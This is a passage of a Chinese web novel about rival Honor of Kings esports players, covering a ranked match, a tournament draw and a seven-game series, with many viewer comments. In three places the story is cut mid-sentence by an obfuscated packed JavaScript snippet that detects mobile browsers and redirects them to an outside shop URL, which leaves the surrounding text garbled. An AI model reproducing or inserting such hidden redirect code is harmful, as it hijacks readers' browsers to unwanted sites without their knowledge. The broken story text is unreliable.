但程知簌早就猜到周叙临会这么玩,秉承着你打得凶那我就比你打得更凶的原则把野辅都叫来中路,给对面法师一个“surprise”。 高端局,大家打得都比较谨慎,但再小心也不会想到一个开局升一技能的西施见面就闪拉,旁边还埋伏着大司命少思源野辅。 如果巅峰赛可以互相交流,估计对面中单要向他们的父母打招呼了。 ——当然,不止是中单,射手也想问候问候。 周叙临闭了麦,压下内心的怒火,强颜欢笑:“没事,还有机会。” 如果不是只有打野能听懂他的话,极限用命换了条主宰增强兵线优势,这局游戏怕是早结束了。 他丝毫不提自己目前是队伍最大的破绽,战绩也来到了0-5,还差一把就超鬼。 直播间因为他上热搜的事全都看热闹不嫌事大—— 【来看看受害者视角~】 【哈哈哈哈,酒巡那边都快笑裂开了】 【怎一个惨字了得】 【我们临宝何时受过这种苦啊】 【天呐,工具人中单怎么玩得像法刺】 【我同意这个中单来我们West战队,别要那个凛冬好不好[呜呜jpg.]】 【我去,哪听来的瓜?】 【是我知道的那个Dawn?】 【保真,微博搜XXXX】 周叙临无暇理会刷得越来越的快弹幕,只想知道对面中单到底是什么来历,怎么能神出鬼没到这种地步。 当然,在这局游戏结束之前他是没办法知道的了。 …… ………… 西施又来了。 她蹲在蓝区二塔草,无视从旁边走过去的野辅,目标锁定在射手身上。 周叙临察觉情况不妙,西施已经一分钟没漏视野—— 他心念的“了”字还到底,小圈冷不丁落在他脚下,惊得他秒闪,堪堪躲过技能狼狈逃窜,将剩下的交给队友。 虽然和自己没有关系,但看见西施的尸体静静躺在地上,周叙临还是有种大快人心的爽感。 痛快之余,他也不忘打字提醒队友——【辅助探草,每一个草都要探!!!】 最后三个感叹号也向队友传达了他的迫切。 辅助弱弱的声音传来:“我刚探了草,不知道为什么没探出来。” 他当然探不出,因为程知簌在辅助甩技能的时候用了金身规避一切伤害。 但程知簌能这么做周叙临自然也能想到。 他想西施没了金身,主动开团的概率也能大幅度下降。 殊不知程知簌这一局选择西施而不是可以用大招强制拉人1v1的海月就是因为她的开团成本很低, 她可以失误无数次,但周叙临只能失误一次。 中单翻身把歌唱。 …… 游戏结束,“DEFEAT”音效回荡在直播间,飘红的光线投射到周叙临的脸上。 他仍在嘴硬,将责任归咎于“开门红”。 周叙临和他的粉丝之间一直保持着种奇妙的平衡。 多数时候是巅峰赛连跪他明明气得半死却还要安慰粉丝,又或者是巅峰赛连胜他洋洋得意顺带诋毁撞车的弹幕老师。 这种平衡换了任何一位选手或者是粉丝群体都没办法继续维持,这是独属于降临选手的方式。 【06天才射手】 【06天射】 【哈哈哈哈,脸都气红了】 【我们家临宝就算脸红都那么可爱呢】 【一时分不清你是粉丝还是黑子】 【也许是串子】 【我去我去,你们看对面中单的名字!】 “中单?”周叙临顿了顿,不知是想到了什么,表情古怪得诡异。 他顺着这条弹幕低头看屏幕——结算界面里西施的职业标十分明显:[Dawn.Winter] 高中没读几天成绩也不咋地的周叙临没看明白这一长串组合在一起像蚂蚁的英文。 【冬天】热心网友提示他。 周叙临心里腹诽这么简单的英文他又不是不会别小瞧他,动动手指点进主页—— [凛冬]两个字正安静地挂在小熊头像旁。 意识到这两个字不是单纯地指季节,周叙临的脑子瞬间炸了。 他想起自己在下路坐牢的苦,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496340|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起不够用的闪现,想起每个人见了他就像猫见到了老鼠一样眼底闪着金光,心里油然生出一种委屈,最后演化为不甘心。 他对着屏幕咬牙发誓:“我与凛冬,不共戴天!” …… 想法很美好,现实很骨感。 在第二天晚上的抽签大会上,周叙临恍然古人诚不欺我。 尽管他自己也不认识几个可以称为“古”的人。 “降临是现役第一位注册王者荣耀的选手,而今天同样来到现场的凛冬则是本次挑战者杯大名单当中职业年龄最短的中单选手。” 周叙临面无表情地站在主持人旁边听他照本宣科,心想原来那个古人是他。 他不明白抽签大会为什么会叫他们两个人来,难道就因为他们的ID读起来很配? 凛冬降临,顶多能够上“顺畅”两个字。 …… 程知簌对周叙临会来抽签大会倒有点准备只是不多。 起码她真没想到联盟会直接安排他俩站在台上,一个抽战队池,一个抽顺位池。 除春季赛冠亚军为种子队伍位置固定外,其余战队位置随机,由抽签决定。 往常,抽签人员都由不在大名单的选手充当,也不知道联盟这次是有了什么恶趣味,让他们两个人同台。 抽签过程没出什么字面意思的意外,但也将冲突拉满了。 春季赛的冠季军分到了一轮同组,由于一二轮都是单败淘汰赛,这也意味着两支队伍注定有一个得在三十二强灰溜溜走人。 让程知簌心凉的还在后面,他们与另一支种子队伍EYE同组,除非一轮的KPL青训赛道队伍可以击败EYE,否则他们二轮遇上了也大概率是个输。 EYE的超话已经提前开香槟庆贺稳八强了—— 【我不知道怎么输】 【无敌是多么~多么寂寞~】 【降临看样子很想来EYE了,抽个绝世好签】 【FMVP一定要给零点啊!女娲在等一个叫零点的人】 【又是零又是点,简直是典中典!】 零点是EYE战队的中单,入选今年春季赛的最佳一阵,也是新生代的热门选手之一。 EYE战队的乐子人不少,粉丝、黑子齐聚一堂,都来串个痛快。 程知簌往常也喜欢去超话转转,是不是惊觉中华文化博大精深,但今天她是真没那个功夫看热闹了。 无他,实在是她自己这边都火烧眉毛了。 微博上说凛冬霸凌降临的帖子经过一晚上的沉淀越来越有甚嚣尘上的趋势。 又逢今晚节奏大得粉丝直呼内幕的抽签大会,热搜讨论度居然有要突破吉尼斯世界纪录的架势——尽管程知簌并不知道有没有这玩意,但以她的词汇量来说,目前也只有这可以形容。 程知簌握着手机隐隐有些不安,却在出门的时候撞见了一个意料之外又似乎是情理之中的人。 周叙临站在回廊边。 灯光绰约,照出他清亮的眉眼。 四月的上海很爱下小雨,它牵着灰蒙蒙的天,做出什么苦大仇深的表情。 程知簌抬起头,恍惚间好像看见了那一天眉开眼笑的少年。 他的额角脸颊比现在更青涩稚嫩,活脱脱一副没受过社会敲打的样子,语气天真得残忍。 他说:“行吧,我暂时原谅你了。不过你去马来西亚旅游也要看好时间,别错过我的比赛。” 是颐指气使的态度,程知簌觉得自己应该是不高兴的,但不知道为什么她将这一幕记得很清晰。 也许时光在人的记忆里总爱充当融合的角色,稀释人心底里的阴暗面。 8. 首战 08 程知簌知道自己一直是个很有想法的人。 最开始她想闯出独属于法师的时代,所以她拒绝了TwJing女队让她转辅的建议。 再然后她只想一条独木桥走到黑,却忽略了这本就是个团队游戏。 到最后她找寻不到归处,才觉得能有比赛打就好了。 所以直到现在,她才明白比赛对于一位职业选手来说有多么重要。 只可惜,她和周叙临都错过了那场最重要的比赛。 …… 这是程知簌回国后第二次与周叙临私下见面。 她想感叹世界真小,抽签大会的名额不多,他俩却能同时选上。 但世界有时候又很大,大到两人战队的基地明明在同一个小区,他们却一次都没在广州遇见。 周叙临听见动静,偏过头来。 他的目光在程知簌脸上停顿了大概两秒,像是在辨认什么。 程知簌攥紧手机,没自恋地认为周叙临时在等她,打算从旁边绕过去。 “给你的队伍抽了个‘好签’。”周叙临叫住她,“你不感谢我吗?” 程知簌眨眨眼,心想这签到底好在哪里,一二轮都是常年稳S组的战队。 就算真要感谢,拜的也该是老天吧,本来也就是概率的事情。 但工作人员就在不远处,她不想再经历一次被偷|拍发到网上审判的事情,也不能真在这说对抽签结果不满意。 所以程知簌说:“那我真是谢谢你了。” 她言语嘲讽,面上又是一副皮笑肉不笑的样子,任谁来了都不能挑出她的错来。 周叙临的目光凝固在程知簌嘴角那块微微凹下去的皮肤。 她很白,是天生不易长痘的体质,什么出现在她脸上都很扎眼。 但就是嘴角的这颗小小的酒窝,却让她整个人看起来无比天真,好像永远都长不大。 程知簌想,没有人永远会是小孩。 外表、内在,都会随着时间的流逝发生变化。 而人究其一生所要追逐的,就是能自己掌控那些变化。 一年前的她是,一年后的她也是。 程知簌看着周叙临的脸,不由自主地往后退了一步。 “你以为我说的是假话吗?” 她脸上的表情很真切,做的动作却是截然相反。 在国外的这一年,她也学会了口是心非。 “难道不是吗?”周叙临反问。 他往前一步:“你和我说的话,到底有哪句是真的?” 程知簌想了想,自己似乎曾经也听周叙临说过同样的话。 回忆如潮,将她扑了个趔趄。 出国那晚,她说自己只是出去玩,一去就是一年。 周叙临追来马来西亚的时候,她说她在这里每天都很开心。 Dawn爆出黑料那天周叙临问她需不需要帮助,她只觉得他的话是嘲讽,是说“这就是你自作主张的下场”,所以她用尽羞辱的话语诅咒他。 如此种种都证明,周叙临并没有说错。 程知簌哑然。 她忽然意识到自己和周叙临的距离越来越远,就像刚涂了润滑的弹簧,一旦贴得进了些,立刻又会推出去。 在周叙临加入TwJing的时候,在周叙临追来马来西亚的时候,都是如此。 可明明……他们从小一起长大,也有过美好的时光。 是从什么时候开始,他们习惯了恶语相对? 程知簌其实很清楚是为什么,但她不愿意承认,也拉不下脸求和。 周叙临看着她,看着那张他在梦里见过无数次的脸,很缓慢地眨了下眼。 走廊传来一阵风,扬起程知簌鬓边的碎发。 她今天把刘海全都梳了上去,脸上的稚气并不明显。 周叙临后知后觉,她真的和记忆里的人不一样了。 “程知簌,没关系的。”他忽然开口,“只要你知道我说的都是真的就好。” 程知簌顿住,抬头愣愣地看着他。 他眼底是怎么也散不去的忧愁,隔着层朦朦胧胧的薄雾,像花窗上的油纸,挡得住淅淅沥沥的雨,却能轻易被利刃戳穿。 但程知簌不是刀,破不开前路。 她是凛冬的雪,随着寒风飘摇,化成千亿滴水珠,与大自然的循环共沉|沦。 …… 程知簌觉得有的人天生就是腥风血雨体质。 比如她,尽管她认为自己明明一直遵循着“万花丛中过,片叶不沾身”的原则。 挑战者杯正式开赛前,程知簌就见了周叙临三次。 一次酒巡退役会,一次抽签大会,还有一次是定妆照拍摄。 前两次就算了,毕竟她们的确说了几句话。 但她不明白为什么拍摄的时候她都特意避开周叙临了,网友还能给他们两个扯上关系。 【幸福请降临临冬手心】 【终于有人懂我了,巅峰赛回放我是看了一遍又一遍,感觉凛冬好了解降临】 【素!草丛随机刷新一只西施酱】 【降临逃凛冬追,降临插翅难飞】 但一个东西有正面就有反面,有人磕就有人反对—— 【捆绑的人有病吧,没吃过好的?】 【一直提提提有意思吗?等下两人真谈了又不高兴了……】 【666有的人自嗨是有点神的,降临都公开说讨厌凛冬了你们还能磕啊,真是饿了】 …… 程知簌看见这些评论的时候正在场馆休息室,趁着教练出门的功夫刷一会。 辅助夏深看着她偷偷摸|摸的动作连连惊叹:“你真是有颗强大的心脏。我是比不上你了,每次比赛前不等教练发话我就提前把微博那些都卸载了。” 也许是热度不算高的缘故,国外的竞圈氛围比国内要好得多,虽然也是该骂就骂,但和KPL比起来那真是大巫见小巫了。 所以程知簌觉得奇怪:“你打了那么多年比赛还怕这个?” 夏深捂着自己的小心脏故作夸张:“你这话也太伤我了!” 打野晴朗在旁边偷笑两声。 “队长。你还笑!” 程知簌后知后觉:“啊?你赛前看微博会影响心态吗?不应该吧。” 夏深:…… 他一副要哭了的表情:“我已经够伤心了,凛冬你怎么还重复一遍啊!” “好了别装了。”主教练EGG走过来拍拍手,“时间到了,整理下衣服上台。” 不是第一次上台比赛,但程知簌真正坐在台上的时候,还是能听到自己如擂鼓的心跳。 她深呼吸两下,平稳心绪。 主教练EGG拍拍她的肩:“没事别紧张,bo7呢。” bo7是七局四胜制,全局bp,第七局为巅峰对决,双方盲选无英雄池限制。 “有三把容错。”晴朗在一旁嘻嘻哈哈。 他们的这个小互动被导播投放到大屏,见多识广的网友很快翻译出EGG和晴朗说的话—— 【bo7很好啊,让你们来四局体验好早点回家备战夏季赛】 【最好笑的一集】 【我送你离开挑杯之外~】 【你别说,在直播间看是一回事,在现场看又是一回事,凛冬的皮肤状态好好】 【化了妆呗,现在上场的选手都被强制要求提前洗头化妆还要做造型,卸了妆还不是那样】 【……这是职业比赛又不是选美】 【降头姐是有多恨凛冬】 【新粉礼貌问一下降头姐是谁】 【虽然不是粉丝但很想回你——降临的部分粉丝特别疯狂好像被下降头了所以安了个降头姐的“爱称”dbq】 【一提到黑称就发了狠忘了情】 每场比赛的位置都是固定的,按照对抗、打野、中单、射手、游走排。 所以程知簌的左边是晴朗,右边是逢春。 【发现个好笑的,West这边都是什么季节天气的,走文艺路线啊】 【竞男竞女最有文化的一次】 【我肚肚】 镜头正好给到程知簌,她微微一笑,露出嘴角甜甜的酒窝。 她朝镜头挥挥手,随后指了指衣服左胸口的logo。 图案整体看上去是只若隐若现的黑猫,那是West的吉祥物米米。 West的队服是哑光黑和低饱和度的灰粉色配色,像裹着糖衣的药片,外表融化后露出苦涩的部分,反差感极大。 队服是暗纹质感,日常看是普通的黑粉,一旦灯光直射就会反射灰粉色纹路,看着酷炫极了。 解说海绵向大家介绍:“大家可能对West的新中单比较陌生,凛冬一年前加入马来西亚的Dawn战队,以新锐中单与队长的身份带领队伍拿下四冠二FMVP的好成绩,创下全球赛道队伍击败KPL赛道队伍的先例。” “是的,凛冬选手实力不俗,大家可别看人家长得漂亮就轻视她哦。”解说大星笑了笑,“反正我是不敢‘招惹’的。” 这话听得程知簌下意识皱了皱鼻子。 她又不是什么洪水猛兽,怎么还用上“招惹”这个词了? * 游戏进入bp阶段,West这边收回了玩笑的表情,全都严阵以待。 毕竟今年是单败淘汰制,输了可没有复活甲。 第一轮禁用,两边率先ban掉赛季强势的四位辅助。 “我们主要针对他们辅助。”EGG拿着bp本思索,“——这把打中轴运营,让凛冬打Counter位。” Counter位就是反制位,最后选英雄用来克制对面阵容。 EGG是West重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496341|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金挖来的冠军教练,尽管对面的ER战队是今年春季赛的亚军队伍,底蕴深厚,他也对自己的bp充满了信心。 但队伍的阵容固然重要,选手的表现更加关键。 面对这样的队伍,仍是有丰富比赛经验的选手也难免紧张。 …… 十五分钟,ER顺利推掉West的水晶。 下场的时候,West这边几个人的表情都不太好。 镜头对准他们,看不到的直播间的话更加不友好—— 【这波都怪主教练,名字起个什么蛋】 【又不是鸡,下那么多蛋干嘛】 【跟圆明园说一声,猪头找到了】 【感觉要被零封了】 【不是到底在喷什么啊ER可是亚军队伍,打不过不是很正常吗?】 【正常是一回事,该骂还得骂】 …… 解说海绵鼓励道:“相信West能够很快调整好状态……” ——并不。 第二局,ER十分钟速通结束比赛。 第三局,West打野想偷塔却被ER打野抓包打了个持续掉点。 ER率先拿下赛点。 【这把真不如我0.2w战力小乔上】 【凛冬真别灵机一动啊,几波都是因为你先手结果杀不了对面火速猝死还害死队友】 程知簌走下台的时候整个人还是飘着的。 身后的逢春扶了她一把,她礼貌道了声谢。 坐在休息区的时候,程知簌感到好几个镜头都对准了自己。 也是,作为本场比赛最有热度和话题量的选手,他们巴不得拍下她因失利而痛哭流涕的模样。 程知簌板着脸,没有给镜头一个眼神。 开局就是3:0,难道自己重回赛场的第一局就要以失败收场吗? 她不甘心。 第四局上场的时候,程知簌发现自己的内心忽然变得十分平静。 她将手放在胸口,感受自己比任何时候都平稳的心跳。 “我来感觉了。”她整理右手腕的手表,说。 四局决胜局,是该背水一战了。 “加油加油。”EGG正在鼓舞士气,闻言疑惑道:“什么?” “让二追三!”程知簌提高音量,眼神坚定。 她这幅正襟危坐的样子倒是把其他人都逗笑了,队伍的紧张感都缓解了不少。 程知簌其实没懂他们在笑什么。 直觉告诉她似乎不太对劲,但以她的脑细胞又不足以支撑她找到答案。 很快,程知簌就向大家展示自己不是胡说。 她这局玩的是甄姬,出了名的前期弱没线权给不了对面压力的中单。 但她前期弱势不代表队友不强啊。 解说海绵:“现在时间已经来到了两分钟,我们看见凛冬的甄姬蹲在了中路河道草的左边。” “她想干什么呢?欸,一技能放在脚下——”解说大星突然提高音量,“在冻住有免疫效果的一瞬间,甄姬闪现到对面中单安琪拉身上,再秒解冻打出控制!” 解说海绵:“完全是电光火石之间啊,安琪拉根本点不出大招!” 解说大星:“一旁晴朗的大司命跟上输出,两下轻取安琪拉项上人头。” 观众席爆发出一阵欢呼。 【很难相信一个法师的攻击方式是把自己发射出去】 【神秘冰冻女子已哭晕在中路!】 【绝活哥在排位玩玩也就算了,怎么职业也这么玩?】 【牺牲有点大了说真的,一三技能留着帮队友拆火不好吗?】 【前面的很对啊,你看现在ER都过来集火射手了,中路没技能没闪一点用没有】 一波一换一,看似是没了射手的West更亏,但殊不知West的经济已经领先两千了。 两支队伍在阵容方面没有太大的优势与劣势,不过一旦给West拖到中后期,就是他们的天下了。 十二分钟,平稳发育出了三个大件(神装)的甄姬已经是无敌的状态。 甄姬的二技能是朝指定方向释放冰球,锁定敌人并在单位间弹射。 前排敢上来消耗状态,程知簌的甄姬就一个冰球丢过去,在他的队友间弹来弹去。 还没摸到人呢,双C已经残血,只能灰溜溜后撤补状态。 十八分钟,West战队点掉ER的基地,拿回一分。 第四局的胜利让队伍的气势大涨,大家的手感都火热了起来。 赛中采访,主持人螃蟹将麦克风递给拿下本局MVP的程知簌。 “我们可以看到凛冬选手的笑容明显比前两局多了,想问问凛冬你们在前两局失利的情况下是如何迅速调整好自己的心态的呢?” 程知簌接过话筒,对着镜头微微一笑:“高手不赢前两局。” 9. 晋级 09 程知簌这话是真的狂。 作为新人选手,年少轻狂很正常。 但这只是第四局,赛点还捏在ER的手里,她说这句话就是提前开香槟,ER的粉丝当然不愿意了。 【拿个MVP给你狂的】 【嗯嗯对现在还是春天,前两局手感不行很正常】 【凛冬可以说手感一般但逢春不行啊,毕竟人家名字里就带着个春呢】 【新人的三场免喷权你这么用?】 新人免喷权是观众与选手不成文的默契,前三场首发正赛不管打得怎么样都要包容。 …… 让上面这位网友失望了,程知簌连一把都不给自己容错。 West乘胜追击,连赢三局。 解说海绵:“让我们恭喜West获得本场比赛的胜利,来到双方的赛点!” 巅峰对决没有休息时间。 四位队友都去上厕所了,只有程知簌还在座位上。 她抬眼往场下,座无虚席,观众们的脸上都是兴奋的表情。 镜头给到她,她淡定地笑了笑算是打招呼。 随后,她缓缓举起双手,左边比个“3”,右边比个“4”。 这是要让三追四的意思。 West已经完成了让三追三,她相信追四也不在话下。 新人上场就立人设的不少,无非是什么天赋怪、完美哥、大魔丸。 像程知簌这种目前看来和这三个一点不挨边还搞出那么大动静的的确少见。 * TwJing的比赛在十点West与ER的比赛结束之后。 周叙临靠在休息室椅子背上,翘着腿,像平时一样散漫。 面前大屏放的是官方直播,与现场有三四分钟的延迟。 房间的隔音虽然不错,但观众的呼声如浪潮一次比一次高,依旧透过门板拍在他的心上。 周叙临双手交叠、握紧,嘴唇死死抿在一起。 那样子,真比他第一次上场比赛还要紧张。 大屏没有弹幕不得劲。 周叙临这么想,掏出手机,将音量调到最小。 直播间虽然没有声音,但光看镜头对准现场观众时他们的表情,也知道他们有多激动。 不止是场下,直播间观众的气氛也被点燃了—— 【电子竞技不就是讲究一个“热血”吗?如果这样都被诟病的话,那大话王有什么意义】 大话王是官方在季后赛/总决赛前放出的选手互相放狠话的短篇,以制造节目效果和话题。 【哎呀也没有装啦,这只是日常而已】 【我们West不爱装的,就像我是West的粉丝但是从来不提自己是West粉丝】 【此时不装何时装!】 解说大星也说:“其实从这几局看下来,我们可以知道凛冬是那种打得很激进的选手,大概率是前三把没有和队友磨合好导致脱节。” “是的,凛冬的每一波开团都很妙,完全不像一位只有一年职业经验的选手。” “不止。”解说大星继续说,“凛冬选手也没有经过青训的培训,有现在的成绩真的是出乎所有人的意料了。” 更让大家意想不到的还在后面。 巅峰对决,程知簌没有因为是赛点变得谨慎小心,而是打得更加凶猛,卡掉了对面好几个炮车(金币经验最高的小兵)。 “牛啊!”休息室里有人叫了声好。 教练坐在周叙临旁边,侧头看他的手机:“你喜欢看弹幕?那玩意乌烟瘴气的最好别看。” 周叙临点头:“随便看看。” 但他也没有收回手机。 教练重新将眼光投向大屏,感叹道:“这的确是个好苗子,是我当年没眼光了。” 坐在靠后位置的中单冰块闻言凑过来:“教练什么叫没眼光?” 教练看了周叙临一眼,见他没什么太大的反应,才说:“也不是什么不能说的事情——凛冬之前去女队实训过,我去看了眼,也觉得不错。但当时队伍不缺中单,俱乐部希望她转辅。结果这小姑娘没同意,我们还没能多劝两句呢就扭头走了,都没给我们商量的机会。” 冰块疑惑道:“商量?怎么商量?总不能让原来的中单转辅吧。” “不是。”此时此刻看着程知簌的表现,教练心里突然生出一种微弱的悔意:“女队不缺中单,但是我们缺啊。只不过KPL没有上女选手的先例,我也不能直接把她提上来,那微博不得被冲死。” 冰块点点头:“也是。” 教练继续说:“所以我们考虑的是让她先去女队锻炼锻炼看看怎么样,等她打出点实力过一两个赛季再说。” 冰块一开始还对这些事饶有兴趣,听到后面表情就变了:“教练,那你这不是画饼吗?” 他摆出一副“幸亏”的表情:“簌簌姐没答应你是对的。” “怎么说话的!我这怎么叫画饼,我还叫降临和她说了呢!”教练将话头对准周叙临,“降临你说是不是?” 提起这件事,周叙临就气不打一处来。 又听见冰块“簌簌姐”“簌簌姐”的叫,更加不爽了。 他冷笑一声:“你给我机会了吗?” “什么叫没给机会?她试训一个星期内我就和管理层商量好了还告诉你,我说你们不是认识很多年了吗?怎么这点事都不给你面子。” 周叙临心想她什么时候给过他面子,脸上却没有表现出来。 “那个时候她已经出国两天了。” 所以他根本没来得及说,就从程知簌姐姐的口中知道了这个消息。 千里迢迢追出去,不但发现合同都签好了,还发现她在酒吧…… 算了。 周叙临晃了晃头。 那种不好的事情没必要又在脑子里过一遍。 …… 程知簌这局玩的是月之使者海月,大招展开领域将敌方拉进幻境1v1。 赛点局向来有个“海月魔咒”,意思是赛点局哪一队拿出海月,哪一队就是个输。 但程知簌不觉得这能应验到自己身上。 而且,海月的视野范围极大,能让她不断无伤消耗对面,前期就能拿到巨大优势。 你们中野辅要一起吃线? 没事,吃吧,不就是谁来谁掉半管血的事情嘛。 解说海绵惊叹道:“我真是好久没见打得这么凶的中单了,谁来中路都要被抽一套啊。” 解说大星连连点头:“的确,中单对团队起着绝佳的作用,多数选手还是秉承着稳健去打的。” “凛冬也很稳啊。”解说海绵开玩笑,“稳稳地打状态,谁来都不放过。” 四分钟暴君龙团,程知簌蹲草卡视野率先闪现,将对面可以控龙的打野拉进幻境。 同时,她也将距离卡到了极限,保证拉不断,又能让自己的位置落在队友可以接一把的地方。 打野率先离开战场,暴君已经是West的囊中之物了, 解说大星:“这波ER没有办法了只能卖了。” “是的,对面有龙有经济优势,强行逼团只能是得不偿——” 解说海绵的话还未落,ER的辅助少思源突然抽风想过来骚扰West一下,却不小心点了平A一个强化普攻就进了人堆。 她这操作一看就是失误,但没大没闪的程知簌不知道啊,还以为这是ER的战术,秒点金身免疫一切伤害。 导播立刻将镜头切过来,能很明显地看见程知簌的身体大幅度地抖动了一下。 解说大星被这两人的操作逗乐:“凛冬还被吓了一跳,哈哈哈哈,平a逼了个大出来。” 笑归笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496342|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作还是要继续的:“ER可以卖了。但是——” “射手想接少思源,她手里有二有大定住海月旁边的一个人就好。”两人一唱一和,“但是West这边的队友赶过来了在卡打野的位置!” ER这边呈葫芦娃救爷爷状,一个接着一个送,被West打了个小团灭。 休息室几位队友在讨论程知簌这精彩的操作。 周叙临没出声,甚至把视线从屏幕移开了,手机倒扣在桌上,低头去拧一瓶没开封的矿泉水。 他拧得很慢,一圈又一圈,不像他平时的样子。 最后拧开了他也没喝,就那么握在手里。 她打得很漂亮,比一年前还要出色。 周叙临想,仰头给自己灌了一|大口水。 矿泉水在他的喉咙里翻滚,清冽的甜味后知后觉地晕开。 他知道她今天有不能输的理由。 打职业这三年,周叙临在圈内积攒了不少人脉。 从那些人口中得知,酒巡为程知簌作保时曾立下军令状,此次挑杯成绩不能低于四强,否则俱乐部高层会立马解约赶走程知簌。 但他不是傻子,俱乐部什么德性他太清楚了。 商人重利,即便队伍真进了四强,如果高层想找茬,借口也多得是。 周叙临突然觉得有些烦。 塑料水瓶砸在桌上发出闷闷的响声,在被直播声充斥的房间内并不明显。 “教练,你是没有机会了。” 一旁的冰块用那种怜悯的眼神看着教练。 教练眯眼斜视:“你什么意思。” “这还不明白?” 冰块在TwJing待了一年,早就摸清楚教练的口是心非了。 “以凛冬的水平,只要她能在挑杯保持下去,有的是战队想要她,教练你是没机会了。” 出道即巅峰的选手不是没有过,教练无非是对本应该得到又失去感到惋惜。 毕竟他不会觉得一个常年挑杯一轮游的全国赛道队伍能有什么高的培养选手的能力。 被戳穿了小心思,教练的脸熨上一层薄怒。 “我就随口一说,你那么激动干什么?她也只是运气好,遇上ER的新射辅不是人,只要不拖到后期随便打的。” …… 让教练失望了,这把游戏拖不到后期。 在路人局,其中一个人失误或许有更厉害的队友兜底。 但这是在职业比赛,掉一次点就有可能影响场内局势的走向。 West乘胜追击,拿下这局毫无悬念的比赛。 “恭喜West顺利晋级挑战者杯十六强!” 五位成员和对手一一拥抱、握手,最后回到舞台中|央,比出战队手势。 双手交叠,手背向外、掌心朝内,大拇指顶端交叠,下|部留出空间,其余四指张开收紧形成字母“W”的轮廓。 程知簌的手还有些抖,肾上腺素飙升带来的兴奋还没有消退的迹象。 她一一扫过台下众人的表情,从他们惊讶的表情中得到了莫大的爽感。 让三追四,确实爽。 有那么一刻,她似乎穿越时空,回到了一年前那个历经千回百转终得首胜的自己身上。 十八岁的程知簌背后是Winter,身旁是队友,眼前是掌声与鲜花铺就的璀璨之路。 有道光打在程知簌的身后,给她周身渡上了一圈暖暖的光圈。 台上的光只属于胜者,观众的呐喊与尖叫也只属于胜者。 凛冬要一直当胜者。 透过绚烂的灯光,程知簌看到了酒巡。 不是她有什么千里眼,而是第一排只有他还站着。 至于为什么是“还”,因为推掉水晶的那一刻粉丝都激动地站了起来,经保安提醒才坐下。 只有他还站在那里。 10. 初吻 10 酒巡觉得自己很奇怪。 比如明明已经退役为什么还要来看West的比赛,比如他为什么像被定住一样动不了,比如他的视线变得模糊。 他很少将自己的弱点展示在镜头面前,就像他最后一次倒在总决赛的时候,他只是平静地站着,面无表情地看着队友的泪流满面,用后背挡住镜头。 主持人螃蟹也看见了酒巡:“导播将镜头给到了第一排,是West战队的前任队长酒巡。” 酒巡对镜头扯了扯嘴角,露出一个笑容来。 十年饮冰,难凉热血。 酒巡曾带领着队伍一次次倒在总决赛,亲眼见证别人的捧杯,但他体内的血液仍旧会因为电子竞技而沸腾。 教练劝他留下来再拼一年的时候,他头也不回,只留下一句:“我等不到的,希望他们能替我等到。” 此时此刻他站在台下,脑子里响起一句话—— 他终于等到了。 * 局内数据图一张张闪过,程知簌全方位拉满。 相比之下,身为春季赛亚军的ER就是这里缺胳膊那里少腿的了。 很明显,ER今天的状态并不好,否则也不可能被West连追两局。 这局比赛的MVP还是给到了程知簌。 挑杯第一轮,她的四连MVP给各战队敲响了警钟。 谁都没想到被他们当饭后谈资的凛冬会带来这样的惊喜。 4:3的成绩不属于有绝对的压制力,不过对于一位新人选手来说已经算是超常发挥了。 周叙临看到这,也扭头提醒队友不要小瞧对面。 他是对程知簌有信心没错,毕竟当年全国大赛总决赛的FMVP就是她。 如果不是因为性别,她肯定会和他一样加入青训营开启职业生涯,他们也能并肩作战。 就算是这样,亲眼看见程知簌拿下三连FMVP带领队伍连追三局的时候,周叙临未免不感到震惊。 * 网络对有热度的选手向来苛刻。 即便明眼人都能看出程知簌多次拯救队伍于水火,观众的评价还是呈褒贬不一的样式。 她虽然在MKL有一年的职业经历,但观众显然不觉得她在外面能学到什么,只把她当新人看待。 胜利的喜报发出去,谁不感叹一句West瞎猫撞上死耗子了。 【大师我悟了!ER中单后面可不就有个32吗,原来这是注定的32强】 【下一场是TwJing对战LION,不管谁输都有一个得去32啊!】 【32强到底有谁在!!!】 【老师我们春赛前三有俩都要一轮游吗?】 【没事的老E,还有个S组队伍要陪你呢】 联赛分春季赛与秋季赛。 常规赛以三轮+卡位的组合决出SAB组决定季后赛名额,季后赛采用双败淘汰决出胜者组冠军与败者组冠军,总决赛胜者为赛季冠军,颁布FMVP。 即便弹幕和平台都是串子居多,但真正有游戏理解的人只要看程知簌的局内表现就可以知道,凛冬这个冠军中单的称号是真绝对是名不虚传。 